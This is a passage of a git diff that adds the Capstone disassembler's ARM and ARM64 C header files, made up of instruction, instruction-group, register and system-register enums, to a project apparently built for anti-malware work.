+ ARM_INS_SMLALBB, + ARM_INS_SMLALBT, + ARM_INS_SMLALD, + ARM_INS_SMLALDX, + ARM_INS_SMLALTB, + ARM_INS_SMLALTT, + ARM_INS_SMLATB, + ARM_INS_SMLATT, + ARM_INS_SMLAWB, + ARM_INS_SMLAWT, + ARM_INS_SMLSD, + ARM_INS_SMLSDX, + ARM_INS_SMLSLD, + ARM_INS_SMLSLDX, + ARM_INS_SMMLA, + ARM_INS_SMMLAR, + ARM_INS_SMMLS, + ARM_INS_SMMLSR, + ARM_INS_SMMUL, + ARM_INS_SMMULR, + ARM_INS_SMUAD, + ARM_INS_SMUADX, + ARM_INS_SMULBB, + ARM_INS_SMULBT, + ARM_INS_SMULL, + ARM_INS_SMULTB, + ARM_INS_SMULTT, + ARM_INS_SMULWB, + ARM_INS_SMULWT, + ARM_INS_SMUSD, + ARM_INS_SMUSDX, + ARM_INS_SRSDA, + ARM_INS_SRSDB, + ARM_INS_SRSIA, + ARM_INS_SRSIB, + ARM_INS_SSAT, + ARM_INS_SSAT16, + ARM_INS_SSAX, + ARM_INS_SSUB16, + ARM_INS_SSUB8, + ARM_INS_STC2L, + ARM_INS_STC2, + ARM_INS_STCL, + ARM_INS_STC, + ARM_INS_STL, + ARM_INS_STLB, + ARM_INS_STLEX, + ARM_INS_STLEXB, + ARM_INS_STLEXD, + ARM_INS_STLEXH, + ARM_INS_STLH, + ARM_INS_STMDA, + ARM_INS_STMDB, + ARM_INS_STM, + ARM_INS_STMIB, + ARM_INS_STRBT, + ARM_INS_STRB, + ARM_INS_STRD, + ARM_INS_STREX, + ARM_INS_STREXB, + ARM_INS_STREXD, + ARM_INS_STREXH, + ARM_INS_STRH, + ARM_INS_STRHT, + ARM_INS_STRT, + ARM_INS_STR, + ARM_INS_SUB, + ARM_INS_SVC, + ARM_INS_SWP, + ARM_INS_SWPB, + ARM_INS_SXTAB, + ARM_INS_SXTAB16, + ARM_INS_SXTAH, + ARM_INS_SXTB, + ARM_INS_SXTB16, + ARM_INS_SXTH, + ARM_INS_TEQ, + ARM_INS_TRAP, + ARM_INS_TST, + ARM_INS_UADD16, + ARM_INS_UADD8, + ARM_INS_UASX, + ARM_INS_UBFX, + ARM_INS_UDF, + ARM_INS_UDIV, + ARM_INS_UHADD16, + ARM_INS_UHADD8, + ARM_INS_UHASX, + ARM_INS_UHSAX, + ARM_INS_UHSUB16, + ARM_INS_UHSUB8, + ARM_INS_UMAAL, + ARM_INS_UMLAL, + ARM_INS_UMULL, + ARM_INS_UQADD16, + ARM_INS_UQADD8, + ARM_INS_UQASX, + ARM_INS_UQSAX, + ARM_INS_UQSUB16, + ARM_INS_UQSUB8, + ARM_INS_USAD8, + ARM_INS_USADA8, + ARM_INS_USAT, + ARM_INS_USAT16, + ARM_INS_USAX, + ARM_INS_USUB16, + ARM_INS_USUB8, + ARM_INS_UXTAB, + ARM_INS_UXTAB16, + ARM_INS_UXTAH, + ARM_INS_UXTB, + ARM_INS_UXTB16, + ARM_INS_UXTH, + ARM_INS_VABAL, + ARM_INS_VABA, + ARM_INS_VABDL, + ARM_INS_VABD, + ARM_INS_VABS, + ARM_INS_VACGE, + ARM_INS_VACGT, + ARM_INS_VADD, + ARM_INS_VADDHN, + ARM_INS_VADDL, + ARM_INS_VADDW, + ARM_INS_VAND, + ARM_INS_VBIC, + ARM_INS_VBIF, + ARM_INS_VBIT, + ARM_INS_VBSL, + ARM_INS_VCEQ, + ARM_INS_VCGE, + ARM_INS_VCGT, + ARM_INS_VCLE, + ARM_INS_VCLS, + ARM_INS_VCLT, + ARM_INS_VCLZ, + ARM_INS_VCMP, + ARM_INS_VCMPE, + ARM_INS_VCNT, + ARM_INS_VCVTA, + ARM_INS_VCVTB, + ARM_INS_VCVT, + ARM_INS_VCVTM, + ARM_INS_VCVTN, + ARM_INS_VCVTP, + ARM_INS_VCVTT, + ARM_INS_VDIV, + ARM_INS_VDUP, + ARM_INS_VEOR, + ARM_INS_VEXT, + ARM_INS_VFMA, + ARM_INS_VFMS, + ARM_INS_VFNMA, + ARM_INS_VFNMS, + ARM_INS_VHADD, + ARM_INS_VHSUB, + ARM_INS_VLD1, + ARM_INS_VLD2, + ARM_INS_VLD3, + ARM_INS_VLD4, + ARM_INS_VLDMDB, + ARM_INS_VLDMIA, + ARM_INS_VLDR, + ARM_INS_VMAXNM, + ARM_INS_VMAX, + ARM_INS_VMINNM, + ARM_INS_VMIN, + ARM_INS_VMLA, + ARM_INS_VMLAL, + ARM_INS_VMLS, + ARM_INS_VMLSL, + ARM_INS_VMOVL, + ARM_INS_VMOVN, + ARM_INS_VMSR, + ARM_INS_VMUL, + ARM_INS_VMULL, + ARM_INS_VMVN, + ARM_INS_VNEG, + ARM_INS_VNMLA, + ARM_INS_VNMLS, + ARM_INS_VNMUL, + ARM_INS_VORN, + ARM_INS_VORR, + ARM_INS_VPADAL, + ARM_INS_VPADDL, + ARM_INS_VPADD, + ARM_INS_VPMAX, + ARM_INS_VPMIN, + ARM_INS_VQABS, + ARM_INS_VQADD, + ARM_INS_VQDMLAL, + ARM_INS_VQDMLSL, + ARM_INS_VQDMULH, + ARM_INS_VQDMULL, + ARM_INS_VQMOVUN, + ARM_INS_VQMOVN, + ARM_INS_VQNEG, + ARM_INS_VQRDMULH, + ARM_INS_VQRSHL, + ARM_INS_VQRSHRN, + ARM_INS_VQRSHRUN, + ARM_INS_VQSHL, + ARM_INS_VQSHLU, + ARM_INS_VQSHRN, + ARM_INS_VQSHRUN, + ARM_INS_VQSUB, + ARM_INS_VRADDHN, + ARM_INS_VRECPE, + ARM_INS_VRECPS, + ARM_INS_VREV16, + ARM_INS_VREV32, + ARM_INS_VREV64, + ARM_INS_VRHADD, + ARM_INS_VRINTA, + ARM_INS_VRINTM, + ARM_INS_VRINTN, + ARM_INS_VRINTP, + ARM_INS_VRINTR, + ARM_INS_VRINTX, + ARM_INS_VRINTZ, + ARM_INS_VRSHL, + ARM_INS_VRSHRN, + ARM_INS_VRSHR, + ARM_INS_VRSQRTE, + ARM_INS_VRSQRTS, + ARM_INS_VRSRA, + ARM_INS_VRSUBHN, + ARM_INS_VSELEQ, + ARM_INS_VSELGE, + ARM_INS_VSELGT, + ARM_INS_VSELVS, + ARM_INS_VSHLL, + ARM_INS_VSHL, + ARM_INS_VSHRN, + ARM_INS_VSHR, + ARM_INS_VSLI, + ARM_INS_VSQRT, + ARM_INS_VSRA, + ARM_INS_VSRI, + ARM_INS_VST1, + ARM_INS_VST2, + ARM_INS_VST3, + ARM_INS_VST4, + ARM_INS_VSTMDB, + ARM_INS_VSTMIA, + ARM_INS_VSTR, + ARM_INS_VSUB, + ARM_INS_VSUBHN, + ARM_INS_VSUBL, + ARM_INS_VSUBW, + ARM_INS_VSWP, + ARM_INS_VTBL, + ARM_INS_VTBX, + ARM_INS_VCVTR, + ARM_INS_VTRN, + ARM_INS_VTST, + ARM_INS_VUZP, + ARM_INS_VZIP, + ARM_INS_ADDW, + ARM_INS_ASR, + ARM_INS_DCPS1, + ARM_INS_DCPS2, + ARM_INS_DCPS3, + ARM_INS_IT, + ARM_INS_LSL, + ARM_INS_LSR, + ARM_INS_ORN, + ARM_INS_ROR, + ARM_INS_RRX, + ARM_INS_SUBW, + ARM_INS_TBB, + ARM_INS_TBH, + ARM_INS_CBNZ, + ARM_INS_CBZ, + ARM_INS_POP, + ARM_INS_PUSH, + + // special instructions + ARM_INS_NOP, + ARM_INS_YIELD, + ARM_INS_WFE, + ARM_INS_WFI, + ARM_INS_SEV, + ARM_INS_SEVL, + ARM_INS_VPUSH, + ARM_INS_VPOP, + + ARM_INS_ENDING, // <-- mark the end of the list of instructions +} arm_insn; + +/// Group of ARM instructions +typedef enum arm_insn_group { + ARM_GRP_INVALID = 0, ///< = CS_GRP_INVALID + + // Generic groups + // all jump instructions (conditional+direct+indirect jumps) + ARM_GRP_JUMP, ///< = CS_GRP_JUMP + ARM_GRP_CALL, ///< = CS_GRP_CALL + ARM_GRP_INT = 4, ///< = CS_GRP_INT + ARM_GRP_PRIVILEGE = 6, ///< = CS_GRP_PRIVILEGE + ARM_GRP_BRANCH_RELATIVE, ///< = CS_GRP_BRANCH_RELATIVE + + // Architecture-specific groups + ARM_GRP_CRYPTO = 128, + ARM_GRP_DATABARRIER, + ARM_GRP_DIVIDE, + ARM_GRP_FPARMV8, + ARM_GRP_MULTPRO, + ARM_GRP_NEON, + ARM_GRP_T2EXTRACTPACK, + ARM_GRP_THUMB2DSP, + ARM_GRP_TRUSTZONE, + ARM_GRP_V4T, + ARM_GRP_V5T, + ARM_GRP_V5TE, + ARM_GRP_V6, + ARM_GRP_V6T2, + ARM_GRP_V7, + ARM_GRP_V8, + ARM_GRP_VFP2, + ARM_GRP_VFP3, + ARM_GRP_VFP4, + ARM_GRP_ARM, + ARM_GRP_MCLASS, + ARM_GRP_NOTMCLASS, + ARM_GRP_THUMB, + ARM_GRP_THUMB1ONLY, + ARM_GRP_THUMB2, + ARM_GRP_PREV8, + ARM_GRP_FPVMLX, + ARM_GRP_MULOPS, + ARM_GRP_CRC, + ARM_GRP_DPVFP, + ARM_GRP_V6M, + ARM_GRP_VIRTUALIZATION, + + ARM_GRP_ENDING, +} arm_insn_group; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/capstone/include/capstone/arm64.h b/ai_anti_malware/capstone/include/capstone/arm64.h new file mode 100644 index 0000000..0309f30 --- /dev/null +++ b/ai_anti_malware/capstone/include/capstone/arm64.h @@ -0,0 +1,1164 @@ +#ifndef CAPSTONE_ARM64_H +#define CAPSTONE_ARM64_H + +/* Capstone Disassembly Engine */ +/* By Nguyen Anh Quynh , 2013-2015 */ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +/// ARM64 shift type +typedef enum arm64_shifter { + ARM64_SFT_INVALID = 0, + ARM64_SFT_LSL = 1, + ARM64_SFT_MSL = 2, + ARM64_SFT_LSR = 3, + ARM64_SFT_ASR = 4, + ARM64_SFT_ROR = 5, +} arm64_shifter; + +/// ARM64 extender type +typedef enum arm64_extender { + ARM64_EXT_INVALID = 0, + ARM64_EXT_UXTB = 1, + ARM64_EXT_UXTH = 2, + ARM64_EXT_UXTW = 3, + ARM64_EXT_UXTX = 4, + ARM64_EXT_SXTB = 5, + ARM64_EXT_SXTH = 6, + ARM64_EXT_SXTW = 7, + ARM64_EXT_SXTX = 8, +} arm64_extender; + +/// ARM64 condition code +typedef enum arm64_cc { + ARM64_CC_INVALID = 0, + ARM64_CC_EQ = 1, ///< Equal + ARM64_CC_NE = 2, ///< Not equal: Not equal, or unordered + ARM64_CC_HS = 3, ///< Unsigned higher or same: >, ==, or unordered + ARM64_CC_LO = 4, ///< Unsigned lower or same: Less than + ARM64_CC_MI = 5, ///< Minus, negative: Less than + ARM64_CC_PL = 6, ///< Plus, positive or zero: >, ==, or unordered + ARM64_CC_VS = 7, ///< Overflow: Unordered + ARM64_CC_VC = 8, ///< No overflow: Ordered + ARM64_CC_HI = 9, ///< Unsigned higher: Greater than, or unordered + ARM64_CC_LS = 10, ///< Unsigned lower or same: Less than or equal + ARM64_CC_GE = 11, ///< Greater than or equal: Greater than or equal + ARM64_CC_LT = 12, ///< Less than: Less than, or unordered + ARM64_CC_GT = 13, ///< Signed greater than: Greater than + ARM64_CC_LE = 14, ///< Signed less than or equal: <, ==, or unordered + ARM64_CC_AL = 15, ///< Always (unconditional): Always (unconditional) + ARM64_CC_NV = 16, ///< Always (unconditional): Always (unconditional) + //< Note the NV exists purely to disassemble 0b1111. Execution + //< is "always". +} arm64_cc; + +/// System registers +typedef enum arm64_sysreg { + // System registers for MRS + ARM64_SYSREG_INVALID = 0, + ARM64_SYSREG_MDCCSR_EL0 = 0x9808, // 10 011 0000 0001 000 + ARM64_SYSREG_DBGDTRRX_EL0 = 0x9828, // 10 011 0000 0101 000 + ARM64_SYSREG_MDRAR_EL1 = 0x8080, // 10 000 0001 0000 000 + ARM64_SYSREG_OSLSR_EL1 = 0x808c, // 10 000 0001 0001 100 + ARM64_SYSREG_DBGAUTHSTATUS_EL1 = 0x83f6, // 10 000 0111 1110 110 + ARM64_SYSREG_PMCEID0_EL0 = 0xdce6, // 11 011 1001 1100 110 + ARM64_SYSREG_PMCEID1_EL0 = 0xdce7, // 11 011 1001 1100 111 + ARM64_SYSREG_MIDR_EL1 = 0xc000, // 11 000 0000 0000 000 + ARM64_SYSREG_CCSIDR_EL1 = 0xc800, // 11 001 0000 0000 000 + ARM64_SYSREG_CLIDR_EL1 = 0xc801, // 11 001 0000 0000 001 + ARM64_SYSREG_CTR_EL0 = 0xd801, // 11 011 0000 0000 001 + ARM64_SYSREG_MPIDR_EL1 = 0xc005, // 11 000 0000 0000 101 + ARM64_SYSREG_REVIDR_EL1 = 0xc006, // 11 000 0000 0000 110 + ARM64_SYSREG_AIDR_EL1 = 0xc807, // 11 001 0000 0000 111 + ARM64_SYSREG_DCZID_EL0 = 0xd807, // 11 011 0000 0000 111 + ARM64_SYSREG_ID_PFR0_EL1 = 0xc008, // 11 000 0000 0001 000 + ARM64_SYSREG_ID_PFR1_EL1 = 0xc009, // 11 000 0000 0001 001 + ARM64_SYSREG_ID_DFR0_EL1 = 0xc00a, // 11 000 0000 0001 010 + ARM64_SYSREG_ID_AFR0_EL1 = 0xc00b, // 11 000 0000 0001 011 + ARM64_SYSREG_ID_MMFR0_EL1 = 0xc00c, // 11 000 0000 0001 100 + ARM64_SYSREG_ID_MMFR1_EL1 = 0xc00d, // 11 000 0000 0001 101 + ARM64_SYSREG_ID_MMFR2_EL1 = 0xc00e, // 11 000 0000 0001 110 + ARM64_SYSREG_ID_MMFR3_EL1 = 0xc00f, // 11 000 0000 0001 111 + ARM64_SYSREG_ID_ISAR0_EL1 = 0xc010, // 11 000 0000 0010 000 + ARM64_SYSREG_ID_ISAR1_EL1 = 0xc011, // 11 000 0000 0010 001 + ARM64_SYSREG_ID_ISAR2_EL1 = 0xc012, // 11 000 0000 0010 010 + ARM64_SYSREG_ID_ISAR3_EL1 = 0xc013, // 11 000 0000 0010 011 + ARM64_SYSREG_ID_ISAR4_EL1 = 0xc014, // 11 000 0000 0010 100 + ARM64_SYSREG_ID_ISAR5_EL1 = 0xc015, // 11 000 0000 0010 101 + ARM64_SYSREG_ID_A64PFR0_EL1 = 0xc020, // 11 000 0000 0100 000 + ARM64_SYSREG_ID_A64PFR1_EL1 = 0xc021, // 11 000 0000 0100 001 + ARM64_SYSREG_ID_A64DFR0_EL1 = 0xc028, // 11 000 0000 0101 000 + ARM64_SYSREG_ID_A64DFR1_EL1 = 0xc029, // 11 000 0000 0101 001 + ARM64_SYSREG_ID_A64AFR0_EL1 = 0xc02c, // 11 000 0000 0101 100 + ARM64_SYSREG_ID_A64AFR1_EL1 = 0xc02d, // 11 000 0000 0101 101 + ARM64_SYSREG_ID_A64ISAR0_EL1 = 0xc030, // 11 000 0000 0110 000 + ARM64_SYSREG_ID_A64ISAR1_EL1 = 0xc031, // 11 000 0000 0110 001 + ARM64_SYSREG_ID_A64MMFR0_EL1 = 0xc038, // 11 000 0000 0111 000 + ARM64_SYSREG_ID_A64MMFR1_EL1 = 0xc039, // 11 000 0000 0111 001 + ARM64_SYSREG_MVFR0_EL1 = 0xc018, // 11 000 0000 0011 000 + ARM64_SYSREG_MVFR1_EL1 = 0xc019, // 11 000 0000 0011 001 + ARM64_SYSREG_MVFR2_EL1 = 0xc01a, // 11 000 0000 0011 010 + ARM64_SYSREG_RVBAR_EL1 = 0xc601, // 11 000 1100 0000 001 + ARM64_SYSREG_RVBAR_EL2 = 0xe601, // 11 100 1100 0000 001 + ARM64_SYSREG_RVBAR_EL3 = 0xf601, // 11 110 1100 0000 001 + ARM64_SYSREG_ISR_EL1 = 0xc608, // 11 000 1100 0001 000 + ARM64_SYSREG_CNTPCT_EL0 = 0xdf01, // 11 011 1110 0000 001 + ARM64_SYSREG_CNTVCT_EL0 = 0xdf02, // 11 011 1110 0000 010 + + // Trace registers + ARM64_SYSREG_TRCSTATR = 0x8818, // 10 001 0000 0011 000 + ARM64_SYSREG_TRCIDR8 = 0x8806, // 10 001 0000 0000 110 + ARM64_SYSREG_TRCIDR9 = 0x880e, // 10 001 0000 0001 110 + ARM64_SYSREG_TRCIDR10 = 0x8816, // 10 001 0000 0010 110 + ARM64_SYSREG_TRCIDR11 = 0x881e, // 10 001 0000 0011 110 + ARM64_SYSREG_TRCIDR12 = 0x8826, // 10 001 0000 0100 110 + ARM64_SYSREG_TRCIDR13 = 0x882e, // 10 001 0000 0101 110 + ARM64_SYSREG_TRCIDR0 = 0x8847, // 10 001 0000 1000 111 + ARM64_SYSREG_TRCIDR1 = 0x884f, // 10 001 0000 1001 111 + ARM64_SYSREG_TRCIDR2 = 0x8857, // 10 001 0000 1010 111 + ARM64_SYSREG_TRCIDR3 = 0x885f, // 10 001 0000 1011 111 + ARM64_SYSREG_TRCIDR4 = 0x8867, // 10 001 0000 1100 111 + ARM64_SYSREG_TRCIDR5 = 0x886f, // 10 001 0000 1101 111 + ARM64_SYSREG_TRCIDR6 = 0x8877, // 10 001 0000 1110 111 + ARM64_SYSREG_TRCIDR7 = 0x887f, // 10 001 0000 1111 111 + ARM64_SYSREG_TRCOSLSR = 0x888c, // 10 001 0001 0001 100 + ARM64_SYSREG_TRCPDSR = 0x88ac, // 10 001 0001 0101 100 + ARM64_SYSREG_TRCDEVAFF0 = 0x8bd6, // 10 001 0111 1010 110 + ARM64_SYSREG_TRCDEVAFF1 = 0x8bde, // 10 001 0111 1011 110 + ARM64_SYSREG_TRCLSR = 0x8bee, // 10 001 0111 1101 110 + ARM64_SYSREG_TRCAUTHSTATUS = 0x8bf6, // 10 001 0111 1110 110 + ARM64_SYSREG_TRCDEVARCH = 0x8bfe, // 10 001 0111 1111 110 + ARM64_SYSREG_TRCDEVID = 0x8b97, // 10 001 0111 0010 111 + ARM64_SYSREG_TRCDEVTYPE = 0x8b9f, // 10 001 0111 0011 111 + ARM64_SYSREG_TRCPIDR4 = 0x8ba7, // 10 001 0111 0100 111 + ARM64_SYSREG_TRCPIDR5 = 0x8baf, // 10 001 0111 0101 111 + ARM64_SYSREG_TRCPIDR6 = 0x8bb7, // 10 001 0111 0110 111 + ARM64_SYSREG_TRCPIDR7 = 0x8bbf, // 10 001 0111 0111 111 + ARM64_SYSREG_TRCPIDR0 = 0x8bc7, // 10 001 0111 1000 111 + ARM64_SYSREG_TRCPIDR1 = 0x8bcf, // 10 001 0111 1001 111 + ARM64_SYSREG_TRCPIDR2 = 0x8bd7, // 10 001 0111 1010 111 + ARM64_SYSREG_TRCPIDR3 = 0x8bdf, // 10 001 0111 1011 111 + ARM64_SYSREG_TRCCIDR0 = 0x8be7, // 10 001 0111 1100 111 + ARM64_SYSREG_TRCCIDR1 = 0x8bef, // 10 001 0111 1101 111 + ARM64_SYSREG_TRCCIDR2 = 0x8bf7, // 10 001 0111 1110 111 + ARM64_SYSREG_TRCCIDR3 = 0x8bff, // 10 001 0111 1111 111 + + // GICv3 registers + ARM64_SYSREG_ICC_IAR1_EL1 = 0xc660, // 11 000 1100 1100 000 + ARM64_SYSREG_ICC_IAR0_EL1 = 0xc640, // 11 000 1100 1000 000 + ARM64_SYSREG_ICC_HPPIR1_EL1 = 0xc662, // 11 000 1100 1100 010 + ARM64_SYSREG_ICC_HPPIR0_EL1 = 0xc642, // 11 000 1100 1000 010 + ARM64_SYSREG_ICC_RPR_EL1 = 0xc65b, // 11 000 1100 1011 011 + ARM64_SYSREG_ICH_VTR_EL2 = 0xe659, // 11 100 1100 1011 001 + ARM64_SYSREG_ICH_EISR_EL2 = 0xe65b, // 11 100 1100 1011 011 + ARM64_SYSREG_ICH_ELSR_EL2 = 0xe65d, // 11 100 1100 1011 101 +} arm64_sysreg; + +typedef enum arm64_msr_reg { + // System registers for MSR + ARM64_SYSREG_DBGDTRTX_EL0 = 0x9828, // 10 011 0000 0101 000 + ARM64_SYSREG_OSLAR_EL1 = 0x8084, // 10 000 0001 0000 100 + ARM64_SYSREG_PMSWINC_EL0 = 0xdce4, // 11 011 1001 1100 100 + + // Trace Registers + ARM64_SYSREG_TRCOSLAR = 0x8884, // 10 001 0001 0000 100 + ARM64_SYSREG_TRCLAR = 0x8be6, // 10 001 0111 1100 110 + + // GICv3 registers + ARM64_SYSREG_ICC_EOIR1_EL1 = 0xc661, // 11 000 1100 1100 001 + ARM64_SYSREG_ICC_EOIR0_EL1 = 0xc641, // 11 000 1100 1000 001 + ARM64_SYSREG_ICC_DIR_EL1 = 0xc659, // 11 000 1100 1011 001 + ARM64_SYSREG_ICC_SGI1R_EL1 = 0xc65d, // 11 000 1100 1011 101 + ARM64_SYSREG_ICC_ASGI1R_EL1 = 0xc65e, // 11 000 1100 1011 110 + ARM64_SYSREG_ICC_SGI0R_EL1 = 0xc65f, // 11 000 1100 1011 111 +} arm64_msr_reg; + +/// System PState Field (MSR instruction) +typedef enum arm64_pstate { + ARM64_PSTATE_INVALID = 0, + ARM64_PSTATE_SPSEL = 0x05, + ARM64_PSTATE_DAIFSET = 0x1e, + ARM64_PSTATE_DAIFCLR = 0x1f +} arm64_pstate; + +/// Vector arrangement specifier (for FloatingPoint/Advanced SIMD insn) +typedef enum arm64_vas { + ARM64_VAS_INVALID = 0, + ARM64_VAS_8B, + ARM64_VAS_16B, + ARM64_VAS_4H, + ARM64_VAS_8H, + ARM64_VAS_2S, + ARM64_VAS_4S, + ARM64_VAS_1D, + ARM64_VAS_2D, + ARM64_VAS_1Q, +} arm64_vas; + +/// Vector element size specifier +typedef enum arm64_vess { + ARM64_VESS_INVALID = 0, + ARM64_VESS_B, + ARM64_VESS_H, + ARM64_VESS_S, + ARM64_VESS_D, +} arm64_vess; + +/// Memory barrier operands +typedef enum arm64_barrier_op { + ARM64_BARRIER_INVALID = 0, + ARM64_BARRIER_OSHLD = 0x1, + ARM64_BARRIER_OSHST = 0x2, + ARM64_BARRIER_OSH = 0x3, + ARM64_BARRIER_NSHLD = 0x5, + ARM64_BARRIER_NSHST = 0x6, + ARM64_BARRIER_NSH = 0x7, + ARM64_BARRIER_ISHLD = 0x9, + ARM64_BARRIER_ISHST = 0xa, + ARM64_BARRIER_ISH = 0xb, + ARM64_BARRIER_LD = 0xd, + ARM64_BARRIER_ST = 0xe, + ARM64_BARRIER_SY = 0xf +} arm64_barrier_op; + +/// Operand type for instruction's operands +typedef enum arm64_op_type { + ARM64_OP_INVALID = 0, ///< = CS_OP_INVALID (Uninitialized). + ARM64_OP_REG, ///< = CS_OP_REG (Register operand). + ARM64_OP_IMM, ///< = CS_OP_IMM (Immediate operand). + ARM64_OP_MEM, ///< = CS_OP_MEM (Memory operand). + ARM64_OP_FP, ///< = CS_OP_FP (Floating-Point operand). + ARM64_OP_CIMM = 64, ///< C-Immediate + ARM64_OP_REG_MRS, ///< MRS register operand. + ARM64_OP_REG_MSR, ///< MSR register operand. + ARM64_OP_PSTATE, ///< PState operand. + ARM64_OP_SYS, ///< SYS operand for IC/DC/AT/TLBI instructions. + ARM64_OP_PREFETCH, ///< Prefetch operand (PRFM). + ARM64_OP_BARRIER, ///< Memory barrier operand (ISB/DMB/DSB instructions). +} arm64_op_type; + +/// TLBI operations +typedef enum arm64_tlbi_op { + ARM64_TLBI_INVALID = 0, + ARM64_TLBI_VMALLE1IS, + ARM64_TLBI_VAE1IS, + ARM64_TLBI_ASIDE1IS, + ARM64_TLBI_VAAE1IS, + ARM64_TLBI_VALE1IS, + ARM64_TLBI_VAALE1IS, + ARM64_TLBI_ALLE2IS, + ARM64_TLBI_VAE2IS, + ARM64_TLBI_ALLE1IS, + ARM64_TLBI_VALE2IS, + ARM64_TLBI_VMALLS12E1IS, + ARM64_TLBI_ALLE3IS, + ARM64_TLBI_VAE3IS, + ARM64_TLBI_VALE3IS, + ARM64_TLBI_IPAS2E1IS, + ARM64_TLBI_IPAS2LE1IS, + ARM64_TLBI_IPAS2E1, + ARM64_TLBI_IPAS2LE1, + ARM64_TLBI_VMALLE1, + ARM64_TLBI_VAE1, + ARM64_TLBI_ASIDE1, + ARM64_TLBI_VAAE1, + ARM64_TLBI_VALE1, + ARM64_TLBI_VAALE1, + ARM64_TLBI_ALLE2, + ARM64_TLBI_VAE2, + ARM64_TLBI_ALLE1, + ARM64_TLBI_VALE2, + ARM64_TLBI_VMALLS12E1, + ARM64_TLBI_ALLE3, + ARM64_TLBI_VAE3, + ARM64_TLBI_VALE3, +} arm64_tlbi_op; + +/// AT operations +typedef enum arm64_at_op { + ARM64_AT_S1E1R, + ARM64_AT_S1E1W, + ARM64_AT_S1E0R, + ARM64_AT_S1E0W, + ARM64_AT_S1E2R, + ARM64_AT_S1E2W, + ARM64_AT_S12E1R, + ARM64_AT_S12E1W, + ARM64_AT_S12E0R, + ARM64_AT_S12E0W, + ARM64_AT_S1E3R, + ARM64_AT_S1E3W, +} arm64_at_op; + +/// DC operations +typedef enum arm64_dc_op { + ARM64_DC_INVALID = 0, + ARM64_DC_ZVA, + ARM64_DC_IVAC, + ARM64_DC_ISW, + ARM64_DC_CVAC, + ARM64_DC_CSW, + ARM64_DC_CVAU, + ARM64_DC_CIVAC, + ARM64_DC_CISW, +} arm64_dc_op; + +/// IC operations +typedef enum arm64_ic_op { + ARM64_IC_INVALID = 0, + ARM64_IC_IALLUIS, + ARM64_IC_IALLU, + ARM64_IC_IVAU, +} arm64_ic_op; + +/// Prefetch operations (PRFM) +typedef enum arm64_prefetch_op { + ARM64_PRFM_INVALID = 0, + ARM64_PRFM_PLDL1KEEP = 0x00 + 1, + ARM64_PRFM_PLDL1STRM = 0x01 + 1, + ARM64_PRFM_PLDL2KEEP = 0x02 + 1, + ARM64_PRFM_PLDL2STRM = 0x03 + 1, + ARM64_PRFM_PLDL3KEEP = 0x04 + 1, + ARM64_PRFM_PLDL3STRM = 0x05 + 1, + ARM64_PRFM_PLIL1KEEP = 0x08 + 1, + ARM64_PRFM_PLIL1STRM = 0x09 + 1, + ARM64_PRFM_PLIL2KEEP = 0x0a + 1, + ARM64_PRFM_PLIL2STRM = 0x0b + 1, + ARM64_PRFM_PLIL3KEEP = 0x0c + 1, + ARM64_PRFM_PLIL3STRM = 0x0d + 1, + ARM64_PRFM_PSTL1KEEP = 0x10 + 1, + ARM64_PRFM_PSTL1STRM = 0x11 + 1, + ARM64_PRFM_PSTL2KEEP = 0x12 + 1, + ARM64_PRFM_PSTL2STRM = 0x13 + 1, + ARM64_PRFM_PSTL3KEEP = 0x14 + 1, + ARM64_PRFM_PSTL3STRM = 0x15 + 1, +} arm64_prefetch_op; + + +/// ARM64 registers +typedef enum arm64_reg { + ARM64_REG_INVALID = 0, + + ARM64_REG_X29, + ARM64_REG_X30, + ARM64_REG_NZCV, + ARM64_REG_SP, + ARM64_REG_WSP, + ARM64_REG_WZR, + ARM64_REG_XZR, + ARM64_REG_B0, + ARM64_REG_B1, + ARM64_REG_B2, + ARM64_REG_B3, + ARM64_REG_B4, + ARM64_REG_B5, + ARM64_REG_B6, + ARM64_REG_B7, + ARM64_REG_B8, + ARM64_REG_B9, + ARM64_REG_B10, + ARM64_REG_B11, + ARM64_REG_B12, + ARM64_REG_B13, + ARM64_REG_B14, + ARM64_REG_B15, + ARM64_REG_B16, + ARM64_REG_B17, + ARM64_REG_B18, + ARM64_REG_B19, + ARM64_REG_B20, + ARM64_REG_B21, + ARM64_REG_B22, + ARM64_REG_B23, + ARM64_REG_B24, + ARM64_REG_B25, + ARM64_REG_B26, + ARM64_REG_B27, + ARM64_REG_B28, + ARM64_REG_B29, + ARM64_REG_B30, + ARM64_REG_B31, + ARM64_REG_D0, + ARM64_REG_D1, + ARM64_REG_D2, + ARM64_REG_D3, + ARM64_REG_D4, + ARM64_REG_D5, + ARM64_REG_D6, + ARM64_REG_D7, + ARM64_REG_D8, + ARM64_REG_D9, + ARM64_REG_D10, + ARM64_REG_D11, + ARM64_REG_D12, + ARM64_REG_D13, + ARM64_REG_D14, + ARM64_REG_D15, + ARM64_REG_D16, + ARM64_REG_D17, + ARM64_REG_D18, + ARM64_REG_D19, + ARM64_REG_D20, + ARM64_REG_D21, + ARM64_REG_D22, + ARM64_REG_D23, + ARM64_REG_D24, + ARM64_REG_D25, + ARM64_REG_D26, + ARM64_REG_D27, + ARM64_REG_D28, + ARM64_REG_D29, + ARM64_REG_D30, + ARM64_REG_D31, + ARM64_REG_H0, + ARM64_REG_H1, + ARM64_REG_H2, + ARM64_REG_H3, + ARM64_REG_H4, + ARM64_REG_H5, + ARM64_REG_H6, + ARM64_REG_H7, + ARM64_REG_H8, + ARM64_REG_H9, + ARM64_REG_H10, + ARM64_REG_H11, + ARM64_REG_H12, + ARM64_REG_H13, + ARM64_REG_H14, + ARM64_REG_H15, + ARM64_REG_H16, + ARM64_REG_H17, + ARM64_REG_H18, + ARM64_REG_H19, + ARM64_REG_H20, + ARM64_REG_H21, + ARM64_REG_H22, + ARM64_REG_H23, + ARM64_REG_H24, + ARM64_REG_H25, + ARM64_REG_H26, + ARM64_REG_H27, + ARM64_REG_H28, + ARM64_REG_H29, + ARM64_REG_H30, + ARM64_REG_H31, + ARM64_REG_Q0, + ARM64_REG_Q1, + ARM64_REG_Q2, + ARM64_REG_Q3, + ARM64_REG_Q4, + ARM64_REG_Q5, + ARM64_REG_Q6, + ARM64_REG_Q7, + ARM64_REG_Q8, + ARM64_REG_Q9, + ARM64_REG_Q10, + ARM64_REG_Q11, + ARM64_REG_Q12, + ARM64_REG_Q13, + ARM64_REG_Q14, + ARM64_REG_Q15, + ARM64_REG_Q16, + ARM64_REG_Q17, + ARM64_REG_Q18, + 